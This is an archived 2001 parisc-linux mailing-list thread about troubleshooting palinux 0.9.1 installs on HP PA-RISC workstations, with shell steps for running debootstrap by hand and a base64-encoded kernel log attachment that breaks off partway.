To: Rafael Herrera <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 05:57:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C718482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 05:57:47 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 00F76B00D; Fri,  6 Jul 2001 12:57:01 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B4495BC.C3E7A04D@neuronet.pitt.edu>; from raffo@neuronet.pitt.edu on Thu, Jul 05, 2001 at 12:28:44PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11519

On Thu, Jul 05, 2001 at 12:28:44PM -0400, Rafael Herrera wrote:
> While installing the latest 0.9.1 on a 715/75 machine over a serial
> line, the installation halted with this error message:
> 
>  Extracting
>  /var/cache/apt/archives/tar_1.13.19-1_hppa.deb...          EXT2-fs
> error (device sd(8,3)): ext2_write_inode: unable t9
> 
> it looks truncated. I can't provide more error messages. Are there other
> virtual consoles under the installed? if so, how do you switch to them?
> I'm using minicom on an X terminal.

No virtual consoles on a serial install, sorry.

Try again, and when you get to the point of installing base, scroll
down the menu to 'execute a shell'.  Then mount the CD, something
like

mkdir /tmp/cd
mount /dev/scd0 /tmp/cd

(may already be mounted under /instmnt, do 'mount' to check)

Then run debootstrap manually:

debootstrap sid /target file:/tmp/cd

That might give more clues.

Also, check you have minicom running with line wrapping enabled,
and tell it to log to a file.  That way you can find the error
output in the log file afterwards.

Richard





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Fri, 6 Jul 2001 14:57:19 +0200
Lines: 278
Approved: news@gmane.org
Message-ID: <OFE6582140.671FFFD5-ONC1256A81.00401A6F@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ; Boundary="0__=C1256A8100401A6F8f9e8a93df938690918cC1256A8100401A6F"
X-Trace: ger.gmane.org 1416620271 21767 80.91.229.3 (22 Nov 2014 01:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.net
To: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 07:07:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20783482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 07:07:57 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54952dbbc2@epirel991.europay.com>;
 Fri, 6 Jul 2001 15:07:35 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/06/2001 03:03:08 PM
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:11520

--0__=C1256A8100401A6F8f9e8a93df938690918cC1256A8100401A6F
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: quoted-printable



Hello Richard,

The problem ip_local_deliver:... cames in fact from the dhcp_client which
is started by default?

For the B180, I set console path ro serial_1 and it works fine for serial
console.

For the sti console, I do have to be unlucky; I get backup the kernel
installed with 0.9 then ps2 kbd works back ( I also suspect the kbd and
change it, no difference)? what could be the problem? I also try to get the
last firmware but HP prevent to install it over the builtin ?

I join my last kern.log.  May be could you see some difference in the
hardware configuration that the kernel detect.

Kind regards,
     Joel

(See attached file: kern.log.last)



                                                                           =
                                  =20
                    Richard Hirst                                          =
                                  =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                        =20
                    care.com>            cc:     puffin@esiee.net@SMTP@EURO=
PAY,                              =20
                                         parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY                    =20
                    06-07-01             Subject:     Re: [parisc-linux] pa=
linux 0.9.1                       =20
                    01:08 PM                                               =
                                  =20
                                                                           =
                                  =20
                                                                           =
                                  =20



On Wed, Jul 04, 2001 at 06:44:02PM +0200, Jo=EBl Soete wrote:
> Hi all,
>
> Very nice on 712 model.
> Just a small problem after the configuration of the inet interface:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=3D2 (unowned) dev=3Dl0 len=3D328
> PROTO=3D17 0.0.0.0:68 255.255.255.255:67 L=3D328 S=3D0x10 I=3D0 F=3D0x000=
0 T=3D16
>
> This message is repeated severall times?

Don't know what causes that.

> But on the B180, I met the same problem as I met with the kernel
> vmlinux-20010629 (from puffin also with your vmlinux-712+sound+mouse):
> all seems to work fine but the keyboard does not answer (and no serial
> consol yet available) also it is impossible to contine the install?

I'm just installing a B180 using the 0.9.1 ISO, using the graphical
console.  I have a keyboard and mouse connected, and it is working
fine.  I'll try a serial console install next.

Richard



**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************

--0__=C1256A8100401A6F8f9e8a93df938690918cC1256A8100401A6F
Content-type: application/octet-stream; 
	name="=?iso-8859-1?Q?kern.log.last?="
Content-Disposition: attachment; filename="=?iso-8859-1?Q?kern.log.last?="
Content-transfer-encoding: base64

SnVsICA2IDE0OjQxOjIzIHBhbGluIGtlcm5lbDoga2xvZ2QgMS40LjEjMiwgbG9nIHNvdXJjZSA9
IC9wcm9jL2ttc2cgc3RhcnRlZC4KSnVsICA2IDE0OjQxOjIzIHBhbGluIGtlcm5lbDogSW5zcGVj
dGluZyAvYm9vdC9TeXN0ZW0ubWFwCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IExvYWRl
ZCAyNDcyMCBzeW1ib2xzIGZyb20gL2Jvb3QvU3lzdGVtLm1hcC4KSnVsICA2IDE0OjQxOjI1IHBh
bGluIGtlcm5lbDogU3ltYm9scyBtYXRjaCBrZXJuZWwgdmVyc2lvbiAyLjQuMC4KSnVsICA2IDE0
OjQxOjI1IHBhbGluIGtlcm5lbDogTm8gbW9kdWxlIHN5bWJvbHMgbG9hZGVkLgpKdWwgIDYgMTQ6
NDE6MjUgcGFsaW4ga2VybmVsOiBMaW51eCB2ZXJzaW9uIDIuNC4wLTMyIChyb290QHNsYWIpIChn
Y2MgdmVyc2lvbiAzLjAgKERlYmlhbikpICMxIFRodSBKdW4gMjggMTE6NDk6MDAgQlNUIDIwMDEK
SnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogRlBbMF0gZW5hYmxlZDogUmV2IDEgTW9kZWwg
MTUKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogVGhlIDMyLWJpdCBLZXJuZWwgaGFzIHN0
YXJ0ZWQuLi4KSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogRGV0ZXJtaW5pbmcgUERDIGZp
cm13YXJlIHR5cGU6IE5ld2VyIEJveApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBtb2Rl
bF5JMDAwMDUwNDAgMDAwMDA0ODEgMDAwMDAwMDAgMDIwMjAyMDIgNzdlYTI0NTYgMTAwMDAwZjAg
MDAwMDAwMDQgMDAwMDAwYmEgMDAwMDAwYmEKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDog
dmVyc15JMDAwMDAwMTgKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogY3B1aWReSTAwMDAw
MWY4Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IENQVUlEXkl2ZXJzIDE1IHJldiAyNApK
dWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBtb2RlbF5JOTAwMC83NzgvQjE4MEwKSnVsICA2
IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogVG90YWwgTWVtb3J5OiAxMjggTWIKSnVsICA2IDE0OjQx
OjI1IHBhbGluIGtlcm5lbDogT24gbm9kZSAwIHRvdGFscGFnZXM6IDMyNzY4Ckp1bCAgNiAxNDo0
MToyNSBwYWxpbiBrZXJuZWw6IHpvbmUoMCk6IDMyNzY4IHBhZ2VzLgpKdWwgIDYgMTQ6NDE6MjUg
cGFsaW4ga2VybmVsOiB6b25lKDEpOiAwIHBhZ2VzLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2Vy
bmVsOiB6b25lKDIpOiAwIHBhZ2VzLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBsZWRf
aW5pdDogY2hhc3NpcyBpbmZvOiBtb2RlbD0xICh1bmtub3duKSwgbGNkX3dpZHRoPTE2LCBjbWRf
ZGVsYXk9NDAsIHNpemVjbnQ9MzIsIGFjdGNudD04LCBtYXhjbnQ9OApKdWwgIDYgMTQ6NDE6MjUg
cGFsaW4ga2VybmVsOiBQREMgcmVwb3J0ZWQgbm8gTENEIG9yIExFRC4KSnVsICA2IDE0OjQxOjI1
IHBhbGluIGtlcm5lbDogU2VhcmNoaW5nIGZvciBkZXZpY2VzLi4uCkp1bCAgNiAxNDo0MToyNSBw
YWxpbiBrZXJuZWw6IEZvdW5kIGRldmljZXM6Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6
IDEuIFBoYW50b20gUHNldWRvQkMgR1NDKyBQb3J0ICg3KSBhdCAweGZmYzAwMDAwLCB2ZXJzaW9u
cyAweDUwNCwgMHgwLCAweDAsIDB4MCwgMHgwCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6
IDIuIE1lcmxpbisgMTMyIERpbm8gUlMtMjMyICgxMCkgYXQgMHhmZmY4MzAwMCwgdmVyc2lvbnMg
MHgyMiwgMHgwLCAweDhjLCAweDAsIDB4MApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiAz
LiBNZXJsaW4gTDIrIDE4MCAoOTAwMC83NzgvQjE4MEwpICgwKSBhdCAweGZmZmJlMDAwLCB2ZXJz
aW9ucyAweDUwNCwgMHgwLCAweDQsIDB4MCwgMHg4MQpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2Vy
bmVsOiA0LiBNZXJsaW4rIEwyIDE4MCAoMSkgYXQgMHhmZmZiZjAwMCwgdmVyc2lvbnMgMHg1YSwg
MHgwLCAweDksIDB4MCwgMHgwCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IDUuIE1lcmxp
bisgMTgwIENvcmUgQkEgKDExKSBhdCAweGZmZDAwMDAwLCB2ZXJzaW9ucyAweDNmLCAweDAsIDB4
ODEsIDB4MCwgMHgwLCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6IDB4ZmZkMGMwMDAgMHhmZmMwMDAw
MCAKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogNi4gTWVybGluKyAxODAgQ29yZSBSUy0y
MzIgKDEwKSBhdCAweGZmZDA1MDAwLCB2ZXJzaW9ucyAweDNmLCAweDAsIDB4OGMsIDB4MCwgMHgw
Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IDcuIE1lcmxpbisgMTgwIENvcmUgU0NTSSAo
MTApIGF0IDB4ZmZkMDYwMDAsIHZlcnNpb25zIDB4M2YsIDB4MCwgMHg4MiwgMHgwLCAweDAKSnVs
ICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogOC4gTWVybGluKyAxODAgQ29yZSBDZW50cm9uaWNz
ICgxMCkgYXQgMHhmZmQwMjAwMCwgdmVyc2lvbnMgMHgzZiwgMHgwLCAweDc0LCAweDAsIDB4MCwg
IGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAweGZmZDAxMDAwIDB4ZmZkMDMwMDAgCkp1bCAgNiAxNDo0
MToyNSBwYWxpbiBrZXJuZWw6IDkuIE1lcmxpbisgMTgwIENvcmUgQXVkaW8gKDEwKSBhdCAweGZm
ZDA0MDAwLCB2ZXJzaW9ucyAweDNmLCAweDQsIDB4N2IsIDB4MCwgMHgwCkp1bCAgNiAxNDo0MToy
NSBwYWxpbiBrZXJuZWw6IDEwLiBNZXJsaW4rIDE4MCBDb3JlIFBTLzIgUG9ydCAoMTApIGF0IDB4
ZmZkMDgwMDAsIHZlcnNpb25zIDB4M2YsIDB4MCwgMHg4NCwgMHgwLCAweDAKSnVsICA2IDE0OjQx
OjI1IHBhbGluIGtlcm5lbDogMTEuIE1lcmxpbisgMTgwIENvcmUgUFMvMiBQb3J0ICgxMCkgYXQg
MHhmZmQwODEwMCwgdmVyc2lvbnMgMHgzZiwgMHgwLCAweDg0LCAweDAsIDB4MApKdWwgIDYgMTQ6
NDE6MjUgcGFsaW4ga2VybmVsOiAxMi4gR2Vja28gR1NDIENvcmUgR3JhcGhpY3MgKDEwKSBhdCAw
eGY4MDAwMDAwLCB2ZXJzaW9ucyAweDE2LCAweDAsIDB4ODUsIDB4MCwgMHgwLCAgYWRkaXRpb25h
bCBhZGRyZXNzZXM6IDB4ZjAwMTEwMDAgCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IDEz
LiBEaW5vIFBDSSBCcmlkZ2UgKDEzKSBhdCAweGZmZjgwMDAwLCB2ZXJzaW9ucyAweDY4MCwgMHgz
LCAweGEsIDB4MCwgMHgwLCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6IDB4ZjA4MDAwMDAgCkp1bCAg
NiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IDE0LiBNZXJsaW4rIDEzMiBEaW5vIFBTLzIgUG9ydCAo
MTApIGF0IDB4ZmZmODEwMDAsIHZlcnNpb25zIDB4MjIsIDB4MCwgMHg5NiwgMHgwLCAweDAKSnVs
ICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogVGhhdCdzIGEgdG90YWwgb2YgMTQgZGV2aWNlcy4K
SnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogQ1BVKHMpOiAxIHggUEE3MzAwTEMgKFBDWC1M
MikgYXQgMTgwLjAwMDAwMCBNSHoKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogS2VybmVs
IGNvbW1hbmQgbGluZTogcm9vdD0vZGV2L3NkYTMgSE9NRT0vIGNvbnNvbGU9dHR5MCBURVJNPWxp
bnV4Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IENvbnNvbGU6IGNvbG91ciBkdW1teSBk
ZXZpY2UgMTYweDY0Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IENhbGlicmF0aW5nIGRl
bGF5IGxvb3AuLi4gMTE5LjYwIEJvZ29NSVBTCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6
IE1lbW9yeTogMTI2MzY0ayBhdmFpbGFibGUKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDog
RGVudHJ5LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMTYzODQgKG9yZGVyOiA1LCAxMzEwNzIg
Ynl0ZXMpCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IEJ1ZmZlci1jYWNoZSBoYXNoIHRh
YmxlIGVudHJpZXM6IDQwOTYgKG9yZGVyOiAyLCAxNjM4NCBieXRlcykKSnVsICA2IDE0OjQxOjI1
IHBhbGluIGtlcm5lbDogUGFnZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChvcmRl
cjogNSwgMTMxMDcyIGJ5dGVzKQpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBJbm9kZS1j
YWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDgxOTIgKG9yZGVyOiA0LCA2NTUzNiBieXRlcykKSnVs
ICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogUE9TSVggY29uZm9ybWFuY2UgdGVzdGluZyBieSBV
TklGSVgKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogRGlubyB2ZXJzaW9uIDMuMSAoYnJp
ZGdlIG1vZGUpIGZvdW5kIGF0IDB4ZmZmODAwMDAKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5l
bDogTGFzaSB2ZXJzaW9uIDAgYXQgMHhmZmQwMDAwMCBmb3VuZC4KSnVsICA2IDE0OjQxOjI1IHBh
bGluIGtlcm5lbDogTEVEIGRpc3BsYXkgYXQgZmZkMGMwMDAgcmVnaXN0ZXJlZApKdWwgIDYgMTQ6
NDE6MjUgcGFsaW4ga2VybmVsOiBMYXNpIFBTLzIgd2FpdCAyMzE4Ckp1bCAgNiAxNDo0MToyNSBw
YWxpbiBrZXJuZWw6IExhc2kgUFMvMiB3YWl0IDQzNzAKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtl
cm5lbDogUFMvMiBrZXlib2FyZCBjb250cm9sbGVyIGF0IDB4ZmZkMDgwMDAgKGlycSAxMzMpIGZv
dW5kLCBkZXZpY2UgYXR0YWNoZWQuCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IExhc2kg
UFMvMiB3YWl0IDMyMDkKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogUFMvMiBwc2F1eCBj
b250cm9sbGVyIGF0IDB4ZmZkMDgxMDAgKGlycSAxMzMpIGZvdW5kLCBkZXZpY2UgYXR0YWNoZWQu
Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2Vy
bmVsOiBzdGljb25zb2xlX2luaXQ6IHNlYXJjaGluZyBmb3IgU1RJIFJPTXMKSnVsICA2IDE0OjQx
OjI1IHBhbGluIGtlcm5lbDogU1RJIHdvcmQgbW9kZSBST00gYXQgZjAwMTEwMDAsIGhwYT1mODAw
MDAwMApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBTVEkgd29yZCBtb2RlIFJPTSwgaWQg
MmQwOGMwYTctOWEwMjU4NywgY29uZm9ybXMgdG8gc3BlYyByZXYuIDguMDcKSnVsICA2IDE0OjQx
OjI1IHBhbGluIGtlcm5lbDogU1RJIGRldmljZTogSU5URVJOQUxfRUdfMTI4MApKdWwgIDYgMTQ6
NDE6MjUgcGFsaW4ga2VybmVsOiBDb25zb2xlOiBzd2l0Y2hpbmcgdG8gY29sb3VyIFNUSSBjb25z
b2xlIDE2MHg2NApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBMaW51eCBORVQ0LjAgZm9y
IExpbnV4IDIuNApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBCYXNlZCB1cG9uIFN3YW5z
ZWEgVW5pdmVyc2l0eSBDb21wdXRlciBTb2NpZXR5IE5FVDMuMDM5Ckp1bCAgNiAxNDo0MToyNSBw
YWxpbiBrZXJuZWw6IFN0YXJ0aW5nIGtzd2FwZCB2MS44Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBr
ZXJuZWw6IHN0aWZiOiBVbnN1cHBvcnRlZCBncmFwaGljcyBjYXJkIChpZD0weDJkMDhjMGE3KSAt
IHNraXBwaW5nLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBwdHk6IDI1NiBVbml4OTgg
cHR5cyBjb25maWd1cmVkCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHJlcXVlc3RfbW9k
dWxlW3BhcnBvcnRfbG93bGV2ZWxdOiBSb290IGZzIG5vdCBtb3VudGVkCkp1bCAgNiAxNDo0MToy
NSBwYWxpbiBrZXJuZWw6IGxwOiBkcml2ZXIgbG9hZGVkIGJ1dCBubyBkZXZpY2VzIGZvdW5kCkp1
bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IFJBTURJU0sgZHJpdmVyIGluaXRpYWxpemVkOiAx
NiBSQU0gZGlza3Mgb2YgNjE0NEsgc2l6ZSAxMDI0IGJsb2Nrc2l6ZQpKdWwgIDYgMTQ6NDE6MjUg
cGFsaW4ga2VybmVsOiBsb29wOiBlbmFibGluZyA4IGxvb3AgZGV2aWNlcwpKdWwgIDYgMTQ6NDE6
MjUgcGFsaW4ga2VybmVsOiBMYXNpIFBTLzIgd2FpdCAyMjcwCkp1bCAgNiAxNDo0MToyNSBwYWxp
biBrZXJuZWw6IExhc2kgUFMvMiB3YWl0IDQzNjQKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5l
bDogU2VyaWFsIGRyaXZlciB2ZXJzaW9uIDUuMDIgKDIwMDAtMDgtMDkpIHdpdGggTUFOWV9QT1JU
UyBTSEFSRV9JUlEgU0VSSUFMX1BDSSBlbmFibGVkCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJu
ZWw6IHR0eVMwMCBhdCBpb21lbSAweGZmZDA1ODAwIChpcnEgPSAxNTQpIGlzIGEgMTY1NTBBCkp1
bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHR0eVMwMSBhdCBpb21lbSAweGZmZjgzODAwIChp
cnEgPSA3NCkgaXMgYSAxNjU1MEEKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogR2VuZXJp
YyBSVEMgRHJpdmVyIHYxLjAyIDA1LzI3LzE5OTkgU2FtIENyZWFzZXkgKHNhbW15QG9oLnZlcmlv
LmNvbSkKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogTGludXggVHVsaXAgZHJpdmVyIHZl
cnNpb24gMC45LjEzIChKYW51YXJ5IDIsIDIwMDEpCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJu
ZWw6IGV0aDA6IERpZ2l0YWwgRFMyMTE0MyBUdWxpcCByZXYgNjUgYXQgMHhmZjAwLCAwMDoxMDo4
Mzo2NTowOTo0QiwgSVJRIDY0LgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBldGgwOiAg
TUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAxMDAwIHN0YXR1cyA3ODJkIGFkdmVydGlzaW5nIDAx
ZTEuCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHBhcnBvcnRfaW5pdF9jaGlwOiBpbml0
aWFsaXplIGJpZGlyZWN0aW9uYWwtbW9kZS4KSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDog
cGFycG9ydDA6IFBDLXN0eWxlIGF0IDB4ZmZkMDI4MDAsIGlycSAxNTIgW1BDU1BQLFRSSVNUQVRF
XQpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBscDA6IHVzaW5nIHBhcnBvcnQwIChpbnRl
cnJ1cHQtZHJpdmVuKS4KSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogU0NTSSBzdWJzeXN0
ZW0gZHJpdmVyIFJldmlzaW9uOiAxLjAwCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHN5
bTUzYzh4eDogYXQgUENJIGJ1cyAwLCBkZXZpY2UgMTksIGZ1bmN0aW9uIDAKSnVsICA2IDE0OjQx
OjI1IHBhbGluIGtlcm5lbDogc3ltNTNjOHh4OiA1M2M4NzUgZGV0ZWN0ZWQgCkp1bCAgNiAxNDo0
MToyNSBwYWxpbiBrZXJuZWw6IHN5bTUzYzg3NS0wOiByZXYgMHg0IG9uIHBjaSBidXMgMCBkZXZp
Y2UgMTkgZnVuY3Rpb24gMCBpcnEgNjcKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogc3lt
NTNjODc1LTA6IE5DUiBjbG9jayBpcyA0MDQwMUtIegpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2Vy
bmVsOiBzeW01M2M4NzUtMDogSUQgNywgRmFzdC0yMCwgUGFyaXR5IENoZWNraW5nCkp1bCAgNiAx
NDo0MToyNSBwYWxpbiBrZXJuZWw6IHN5bTUzYzg3NS0wOiBvbi1jaGlwIFJBTSBhdCAweGYwZmZl
MDAwCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHN5bTUzYzg3NS0wOiByZXN0YXJ0IChz
Y3NpIHJlc2V0KS4KSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogc3ltNTNjODc1LTA6IERv
d25sb2FkaW5nIFNDU0kgU0NSSVBUUy4KSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogc2Nz
aTAgOiBzeW01M2M4eHggLSB2ZXJzaW9uIDEuNmIKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5l
bDogICBWZW5kb3I6IFNFQUdBVEUgICBNb2RlbDogU1QzOTE0MFdTICAgICAgICAgUmV2OiBIUDAz
Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6ICAgVHlwZTogICBEaXJlY3QtQWNjZXNzICAg
ICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lvbjogMDIKSnVsICA2IDE0OjQxOjI1
IHBhbGluIGtlcm5lbDogc3ltNTNjODc1LTAtPDYsMD46IHRhZ2dlZCBjb21tYW5kIHF1ZXVlIGRl
cHRoIHNldCB0byA4Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHNpbTcwMDogQ29uZmln
dXJpbmcgNTNjNzEwIChTQ1NJLUlEIDcpIGF0IGZmZDA2MTAwLCBJUlEgMTUwLCBvcHRpb25zIDAK
SnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogc2NzaTE6IFJldmlzaW9uIDB4MgpKdWwgIDYg
MTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBzY3NpMTogdGVzdCAxIGNvbXBsZXRlZCBvay4KSnVsICA2
IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogc2NzaTEgOiBMQVNJL1NpbXBsZSA1M2M3eHgKSnVsICA2
IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogICBWZW5kb3I6IEhQICAgICAgICBNb2RlbDogRFZELVJP
TSA2eC8zMnggICAgUmV2OiAxLjA4Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6ICAgVHlw
ZTogICBDRC1ST00gICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lv
bjogMDIKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogRGV0ZWN0ZWQgc2NzaSBkaXNrIHNk
YSBhdCBzY3NpMCwgY2hhbm5lbCAwLCBpZCA2LCBsdW4gMApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4g
a2VybmVsOiBzeW01M2M4NzUtMC08NiwwPjogd2lkZSBtc2dvdXQ6IDEtMi0zLTEuCkp1bCAgNiAx
NDo0MToyNSBwYWxpbiBrZXJuZWw6IHN5bTUzYzg3NS0wLTw2LDA+OiB3aWRlIG1zZ2luOiAxLTIt
My0xLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBzeW01M2M4NzUtMC08NiwwPjogd2lk
ZTogd2lkZT0xIGNoZz0wLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBzeW01M2M4NzUt
MC08NiwwPjogd2lkZSBtc2dvdXQ6IDEtMi0zLTEuCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJu
ZWw6IHN5bTUzYzg3NS0wLTw2LDA+OiB3aWRlIG1zZ2luOiAxLTItMy0xLgpKdWwgIDYgMTQ6NDE6
MjUgcGFsaW4ga2VybmVsOiBzeW01M2M4NzUtMC08NiwwPjogd2lkZTogd2lkZT0xIGNoZz0wLgpK
dWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBzeW01M2M4NzUtMC08NiwwPjogc3luYyBtc2dv
dXQ6IDEtMy0xLWMtMTAuCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IHN5bTUzYzg3NS0w
LTw2LDA+OiBzeW5jIG1zZyBpbjogMS0zLTEtYy1mLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2Vy
bmVsOiBzeW01M2M4NzUtMC08NiwwPjogc3luYzogcGVyPTEyIHNjbnRsMz0weDkwIHNjbnRsND0w
eDAgb2ZzPTE1IGZhaz0wIGNoZz0wLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBzeW01
M2M4NzUtMC08NiwqPjogRkFTVC0yMCBXSURFIFNDU0kgNDAuMCBNQi9zICg1MCBucywgb2Zmc2V0
IDE1KQpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBTQ1NJIGRldmljZSBzZGE6IDE3Nzcz
